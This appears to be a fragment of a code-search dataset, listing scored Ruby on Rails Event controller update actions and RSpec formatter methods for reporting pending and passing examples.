"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e2f4c464da5fbe99c15fbce88b53b476",
"score": "0.69195724",
"text": "def update\n \n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to event_path }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8abf7256fcc94246150b7cf92a1bf461",
"score": "0.6915404",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to events_path, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8abf7256fcc94246150b7cf92a1bf461",
"score": "0.6915404",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to events_path, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cbd082b8b517c84c5a23f384b0cc4800",
"score": "0.6913737",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to future_events_path, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cc7f236f87547ec1114e61d78932e190",
"score": "0.6911847",
"text": "def update\n @event = Event.find(params[:id])\n\n #respond_to do |format|\n if @event.update_attributes(params[:event])\n #format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n #format.json { head :no_content }\n\tredirect_to '/events'\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n #end\n end",
"title": ""
},
{
"docid": "3dcb85e50a745d4930fd9058f06bd9c6",
"score": "0.69078046",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :json => @event }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "583edc49a5b6d87c4dadba5ada09dfaf",
"score": "0.6906301",
"text": "def update \n\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "69631969c3255f2f77ccb590786681d2",
"score": "0.6904602",
"text": "def update\n\t\tevent_id = params[:id]\n\t\tif event_id.present? && params[:event].present?\n\t\t\tevent_params = params[:event]\n\t\t\t@event = Com::Nbos::Events::Event.where(:id => event_id).first\n\t\t\tif @event.present? \n\t\t\t\[email protected](event_params.permit!)\n\t\t\t\tif @event.save\n\t\t\t\t\trender :json => @event\n\t\t\t\telse\n\t\t\t\t\trender :json => {status: 500, message: @event.errors.messages}, status: 500\n\t\t\t\tend\n\t\t\telse\n\t\t\t\trender :json => {status: 404, message: \"Event Not Found\"}, status: 404\n\t\t\tend\n\t\telse\n\t\t\trender :json => {status: 400, message: \"Bad Request\"}, status: 400\n\t\tend\n\tend",
"title": ""
},
{
"docid": "5227fd477a80d50e1f1d0da025f49cc8",
"score": "0.6883964",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5227fd477a80d50e1f1d0da025f49cc8",
"score": "0.6883964",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c62ac3138d49f99a5a8e1317a5d09115",
"score": "0.68789065",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: t('events.update_success.') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c6e1887bbeb9d4f5ca6fe42c4cd169f2",
"score": "0.6877659",
"text": "def update # rubocop:disable Metrics/MethodLength\n respond_to do |format|\n if @event.update(event_params)\n format.html do\n redirect_to @event, notice: \"#{notice_prefix} updated.\"\n end\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json json_unprocessable_entity\n end\n end\n end",
"title": ""
},
{
"docid": "cf9830ccd54098709fef563138c5e26f",
"score": "0.6872882",
"text": "def update\n authorize! :create, @event\n was_updated = @event.update(event_params)\n check_event_changes if was_updated\n\n respond_to do |format|\n if was_updated\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f385d8f35dc61a314fdb9b0863780330",
"score": "0.68728787",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to events_url, notice: I18n.t('events.update') }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "96a05b34a5f958c31888bbdc7834f734",
"score": "0.686959",
"text": "def update\n @event = Event.find(params[:id])\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8b6cc113b2b3199f44b311be47f18a65",
"score": "0.68671286",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event - объект успешно изменён.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fffbdc530600ec78263ccd8109bd428c",
"score": "0.68659836",
"text": "def update\n #FIXME_AB: only the creator of event can be able to edit\n\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e877cac0684728687cb69ba89a9bce69",
"score": "0.68614954",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to events_path}\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "41c686b87cf703156185d05825d04911",
"score": "0.68603003",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: t('.success') }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9fe231cdee8313867014574de897febb",
"score": "0.6859077",
"text": "def update\n @event = Event.find(params[:id])\n if @event.update(event_params)\n EventRequirement.where(event_id: @event.id).map {|er| er.destroy!}\n requirement_params[:requirements].each do |req|\n req = Requirement.find(req[\"id\"].to_i)\n EventRequirement.create({event_id: @event.id, requirement_id: req.id})\n end\n render json: @event, serializer_params: { current_user: @current_user }, status: :updated\n else\n render json: @event.errors, serializer_params: { current_user: @current_user }, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "29aec7fa4944a6d95794f1a012be75ff",
"score": "0.68563575",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event}\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "29aec7fa4944a6d95794f1a012be75ff",
"score": "0.68563575",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event}\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa1a8a994e0cc33251b851b7b4081777",
"score": "0.68522716",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa5a2dc012270e7e0e76a4d988f4fde8",
"score": "0.6848834",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "37ddd73d6a187db1b6047fd3edbd0426",
"score": "0.6846916",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "37ddd73d6a187db1b6047fd3edbd0426",
"score": "0.6846916",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "37ddd73d6a187db1b6047fd3edbd0426",
"score": "0.6846916",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "37ddd73d6a187db1b6047fd3edbd0426",
"score": "0.6846916",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "37ddd73d6a187db1b6047fd3edbd0426",
"score": "0.6846916",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "37ddd73d6a187db1b6047fd3edbd0426",
"score": "0.6846916",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "37ddd73d6a187db1b6047fd3edbd0426",
"score": "0.6846916",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "37ddd73d6a187db1b6047fd3edbd0426",
"score": "0.6846916",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ae598b2155b01a423c628a5fcccdb754",
"score": "0.6841902",
"text": "def update\n @event.update_attributes event_params\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "22871bb5851af762ff1f3a49f7000eaa",
"score": "0.6829495",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: t(\"notice.event_updated\") }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "438bfb800a681490193c0b150dc83369",
"score": "0.68286556",
"text": "def update\n\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a637f89ce8a20bfe8dfd072e65686400",
"score": "0.6826119",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to list_events_path, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a6de98941c5df443540d8e51cbc9bbdf",
"score": "0.6822995",
"text": "def update\n if @api_event.update(api_event_params)\n render :show, status: :ok, location: @api_event\n else\n render json: @api_event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "2310e00ac962fbbe735060ee9800241b",
"score": "0.6817682",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'event was successfully updated' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66ceb4adf993224337e7f0250c392766",
"score": "0.6814825",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66ceb4adf993224337e7f0250c392766",
"score": "0.6814736",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66ceb4adf993224337e7f0250c392766",
"score": "0.6814736",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66ceb4adf993224337e7f0250c392766",
"score": "0.6814494",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66ceb4adf993224337e7f0250c392766",
"score": "0.6814494",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66ceb4adf993224337e7f0250c392766",
"score": "0.6814494",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66ceb4adf993224337e7f0250c392766",
"score": "0.6814494",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66ceb4adf993224337e7f0250c392766",
"score": "0.6814494",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66ceb4adf993224337e7f0250c392766",
"score": "0.6814494",
"text": "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
f3c8094a1c046322e2a9b6df66ea9a8c
|
Display output when an example is pending
|
[
{
"docid": "9cc5ec5be0a224c247495afe114e56bc",
"score": "0.7874619",
"text": "def example_pending(example)\n super(example)\n msg = example.execution_result[:pending_message]\n output << \"\\n\" << bold('Result: ') << pending_color('pending') << \"\\n\"\n output << bold(\"Reason: \") << \"#{msg}\\n\\n\"\n output << \"=end=============================================================\\n\\n\"\n end",
"title": ""
}
] |
[
{
"docid": "131348017f6f62bad3b329502631daee",
"score": "0.77016455",
"text": "def example_pending( example )\n\t\tmsg = self.format_example( example )\n\t\tpending_msg = example.metadata[ :execution_result ][ :pending_message ]\n\t\tmsg << \", PENDING%s)\" % [ \": #{pending_msg}\" || '' ]\n\t\tself.out msg\n\tend",
"title": ""
},
{
"docid": "a7c92bebaabcbf198e561eb10bb4d4fa",
"score": "0.73732394",
"text": "def pending_output(notification, description, example_number, padding)\n directive = pending_example_directive(notification)\n line = \"ok #{example_number} - #{description} # #{directive}\"\n line = colored_line(\"#{indentation(padding)}#{line}\", :pending)\n\n @output.puts(line)\n end",
"title": ""
},
{
"docid": "a41629c7839fa5710e429f4ba39666db",
"score": "0.7324322",
"text": "def example_pending(*args)\n end",
"title": ""
},
{
"docid": "a41629c7839fa5710e429f4ba39666db",
"score": "0.7324322",
"text": "def example_pending(*args)\n end",
"title": ""
},
{
"docid": "a9bb1ed1fd09051ad983a15a21e971c7",
"score": "0.7289467",
"text": "def example_pending(example)\n if example_group.metadata[:feature] && example.metadata[:skipped]\n @skipped_examples << pending_examples.delete(example)\n @skipped_count += 1\n output.puts cyan(\"#{current_indentation}#{example.description}\")\n else\n super\n end\n end",
"title": ""
},
{
"docid": "8bd2b10085226f3c1f6a9e777ec5e16f",
"score": "0.71681684",
"text": "def example_pending( notification )\n\t\tstatus = 'pending'\n\t\texample = notification.example\n\t\[email protected]( @example_templates[:pending].result(binding()) )\n\t\[email protected]\n\tend",
"title": ""
},
{
"docid": "d6768896d68dcf949fb51abadb71bd2d",
"score": "0.70011336",
"text": "def example_passed( notification )\n\t\tstatus = 'passed'\n\t\texample = notification.example\n\t\[email protected]( @example_templates[:passed].result(binding()) )\n\t\[email protected]\n\tend",
"title": ""
},
{
"docid": "fad7d66a0c9f6504642bf340c544dd56",
"score": "0.6982448",
"text": "def example_passed(example)\n super(example)\n output << \"\\n\" << bold('Result: ') << success_color('passed') << \"\\n\\n\"\n output << \"=end=============================================================\\n\\n\"\n end",
"title": ""
},
{
"docid": "9ff3f8a0be6ada797192bb39ac6cb069",
"score": "0.69356084",
"text": "def example_started(example)\n super(example)\n output << \"\\n=begin===========================================================\\n\\n\"\n output << bold(\"Running test: \") << \"#{next_index} of #{@max_tests}\" << \"\\n\"\n output << bold(\"Description:\\n \") << color(example.full_description, :magenta) << \"\\n\\n\"\n end",
"title": ""
},
{
"docid": "1ec98e4d66d3f542af09defc8734588f",
"score": "0.6873643",
"text": "def speak_result\n if example.pending?\n say(\"is pending\")\n elsif example.exception\n say(\"failed\")\n else\n say(\"passed\")\n end\n end",
"title": ""
},
{
"docid": "ae33cac31ff9177e2ee6508b46d83ba6",
"score": "0.6792403",
"text": "def dump_pending_examples_summary\n if @write_to_file\n $stdout.puts(@pending_examples)\n else\n @output.puts(@pending_examples)\n end\n end",
"title": ""
},
{
"docid": "2af62f1076e4f3971f138426923c9409",
"score": "0.6773662",
"text": "def report_success\n stdout.puts(\n sprintf(\n \"Finished example #{current_example} in %.4f seconds.\",\n timings[current_example]\n )\n )\n nil\n end",
"title": ""
},
{
"docid": "ecb842bd065db6765536a08e8090c96e",
"score": "0.6752062",
"text": "def pending_example_directive(notification)\n execution_result = notification.example.execution_result\n could_be_skipped = execution_result.respond_to?(:example_skipped?)\n\n if could_be_skipped && execution_result.example_skipped?\n \"SKIP: #{execution_result.pending_message}\"\n else\n \"TODO: #{execution_result.pending_message}\"\n end\n end",
"title": ""
},
{
"docid": "e8ffbdbbd37c81b9b112bc8516aca1e3",
"score": "0.66149026",
"text": "def example_pending(example, message, pending_caller=nil)\n immediately_dump_pending(example.__full_description, message, pending_caller)\n mark_error_state_pending\n increment\n end",
"title": ""
},
{
"docid": "6844b10a42c0ee4129a8fdde6e1deecd",
"score": "0.6577488",
"text": "def success_output(description, example_number, padding)\n line = \"ok #{example_number} - #{description}\"\n line = colored_line(\"#{indentation(padding)}#{line}\", :success)\n\n @output.puts(line)\n end",
"title": ""
},
{
"docid": "d9ffa4695bc5c004d905da366b95006e",
"score": "0.65763277",
"text": "def example_passed(example)\n record_result(example)\n end",
"title": ""
},
{
"docid": "e8342d4cf048c830ed0ce93d59b443e9",
"score": "0.65524685",
"text": "def example_passed(example)\n @output.print \"\\u{00b7}\"\n end",
"title": ""
},
{
"docid": "96735ae8cf05169f74eb09c65f013375",
"score": "0.6551951",
"text": "def example_passed( example )\n\t\tmsg = self.format_example( example )\n\t\tmsg << ')'\n\t\tself.out msg\n\tend",
"title": ""
},
{
"docid": "bdbb928ed6e7f361be503de004528076",
"score": "0.6524482",
"text": "def summary_output(notification, seed)\n return if @bailed_out\n\n @output.puts(\"1..#{notification.examples.size}\")\n\n return if notification.examples.size.zero?\n\n execution_stats_output(notification)\n\n @output.puts(\"# seed: #{seed}\") if seed\n\n dump_failed_examples_summary if @failed_examples.present?\n dump_pending_examples_summary if @pending_examples.present?\n end",
"title": ""
},
{
"docid": "5731ee6904442ca694952d1d9009e4c0",
"score": "0.64943206",
"text": "def example_started(example)\r\n debug_log(\"example started [#{example.description}] #{example}\")\r\n\r\n my_running_example_desc = example.description\r\n my_running_example_full_name = \"#{@example_group_desc} #{my_running_example_desc}\"\r\n\r\n # Send open event\r\n # * additional_flowid_suffix - uses for concurrent examples running, due to rspec bug\r\n if @@RUNNING_EXAMPLES_STORAGE.empty?\r\n additional_flowid_suffix = \"\"\r\n else\r\n additional_flowid_suffix = example.hash.to_s;\r\n debug_log(\"New flowid was creating [#{Rake::TeamCity::MessageFactory::RAKE_FLOW_ID+additional_flowid_suffix}]...\")\r\n log_one(Rake::TeamCity::MessageFactory.create_flow_message(Rake::TeamCity::MessageFactory::RAKE_FLOW_ID, \"\", additional_flowid_suffix))\r\n end\r\n debug_log(\"Example starting.. - full name = [#{my_running_example_full_name}], addit flowid suffix=[#{additional_flowid_suffix}], desc = [#{my_running_example_desc}]\")\r\n log_one(Rake::TeamCity::MessageFactory.create_open_block(my_running_example_full_name, :test, additional_flowid_suffix))\r\n\r\n std_files = capture_output_start_external\r\n debug_log(\"Output caputre started.\")\r\n @@RUNNING_EXAMPLES_STORAGE[example] = RunningExampleData.new(my_running_example_full_name, additional_flowid_suffix, *std_files)\r\n end",
"title": ""
},
{
"docid": "e74e4e4b2849a8d2ab6be9d21034070a",
"score": "0.64575803",
"text": "def immediately_dump_pending(desc, msg, location)\n erase_current_line\n output.puts yellow(\"PENDING SPEC:\") + \" #{desc} (#{msg})\"\n output.puts \" Called from #{location}\"\n output.puts\n end",
"title": ""
},
{
"docid": "c36cb8d61a18d3b4e1a2d864ebd57f39",
"score": "0.6434181",
"text": "def example_pending(example, message, deprecated_pending_location=nil)\n immediately_dump_pending(example.description, message, example.location)\n mark_error_state_pending\n increment\n end",
"title": ""
},
{
"docid": "8a7a7deb1f5459b4e48d06b22a16ae9c",
"score": "0.64176327",
"text": "def example_passed(example)\n # if MacOS.version >= :lion\n output.print ([' 🍺 ',' 🙌 ', ' 😍 '].sample).colorize(:background => :green)\n # else\n # output.print [' YAY ', ' YAAASS ', ' NICE '].sample\n # end\n end",
"title": ""
},
{
"docid": "40170069c6e6626a29fb0cc2bfb5e3b2",
"score": "0.63689035",
"text": "def example_progress_output(status)\n return unless @write_to_file\n\n @force_colors = RSpec.configuration.color_enabled?\n\n $stdout.print(colored_line(EXAMPLE_PROGRESS[status], status))\n\n @force_colors = false\n end",
"title": ""
},
{
"docid": "3bb6862a17569c0b516a9e860557b51a",
"score": "0.6364927",
"text": "def report_example_started(example)\n my_running_example_desc = example_description(example).to_s\n debug_log(\"example started [#{my_running_example_desc}] #{example}\")\n\n parent_group_data = peek_groups_stack\n my_running_example_full_name = \"#{parent_group_data.full_name} #{my_running_example_desc}\"\n\n # Send open event\n debug_log(\"Example starting.. - full name = [#{my_running_example_full_name}], desc = [#{my_running_example_desc}]\")\n example_id = !example.nil? && example.respond_to?(:id) ? example.id : my_running_example_full_name\n log(@message_factory.create_test_started(my_running_example_desc,\n location_from_link(*extract_source_location_from_example(example)),\n parent_group_data.id,\n example_id))\n\n # Start capturing...\n std_files = capture_output_start_external\n started_at_ms = if rspec_2?\n get_time_in_ms(example.execution_result[:started_at])\n else\n get_current_time_in_ms\n end\n\n debug_log('Output capturing started.')\n\n put_data_to_storage(example, Spec::Runner::Formatter::RunningExampleData.new(example_id, my_running_example_full_name, started_at_ms, *std_files))\n end",
"title": ""
},
{
"docid": "f434418a5aea881c3f3345b8d3451fee",
"score": "0.63635445",
"text": "def print_summary(features)\n print_steps(:pending)\n print_steps(:failed)\n print_snippets(@options)\n print_passing_wip(@options)\n @io.print('TEST_COMPLETED')\n @io.flush\n end",
"title": ""
},
{
"docid": "d1809b1aacd4c6cef4fd0793c34c7aab",
"score": "0.6354568",
"text": "def example_passed(details)\n @lock.synchronize do\n @stats[:examples] += 1\n update_status\n end\n\n @pass_list.push({:description => details[:description]})\n end",
"title": ""
},
{
"docid": "4dd51e60e565f3d846562cf728b8e9ba",
"score": "0.63457996",
"text": "def example_step_pending(notification)\n full_message = \"#{current_indentation} #{notification.type.to_s.capitalize} #{notification.message}\"\n\n if notification.options[:pending] &&\n notification.options[:pending] != true\n full_message << \" (PENDING: #{notification.options[:pending]})\"\n else\n full_message << \" (PENDING)\"\n end\n\n output.puts Core::Formatters::ConsoleCodes.wrap(full_message, :pending)\n end",
"title": ""
},
{
"docid": "bb47f548cc6e8338dee099f69437738c",
"score": "0.63320196",
"text": "def message_output(notification)\n return if @bailed_out\n return unless RSpec.world.non_example_failure\n\n bailed_out_message_output(notification)\n\n @bailed_out = true\n end",
"title": ""
},
{
"docid": "6c9fbe02c3386346fed0d46baf81a397",
"score": "0.6324119",
"text": "def example_started( notification )\n\t\t@example_number += 1\n\t\tThread.current[ 'logger-output' ] ||= []\n\t\tThread.current[ 'logger-output' ].clear\n\tend",
"title": ""
},
{
"docid": "49cdc73f7d22d48431d6293052dbc5a6",
"score": "0.63061345",
"text": "def output_task_examples(task)\n return unless task.report.is_a? Hash\n examples = task.report['examples']\n return unless examples.is_a? Array\n examples.each do |example|\n description = example['description']\n status = example['status']\n next unless description and status\n next if options[:report_only_failed] and status == 'passed'\n line = \" #{example_status_string status} #{description}\"\n exception_message = example.fetch('exception', {}).fetch('message', nil)\n line += \" (#{exception_message.colorize :cyan})\" if exception_message\n output line\n end\n end",
"title": ""
},
{
"docid": "c8ab1acb8010045b21aaff908dd6ac56",
"score": "0.63025725",
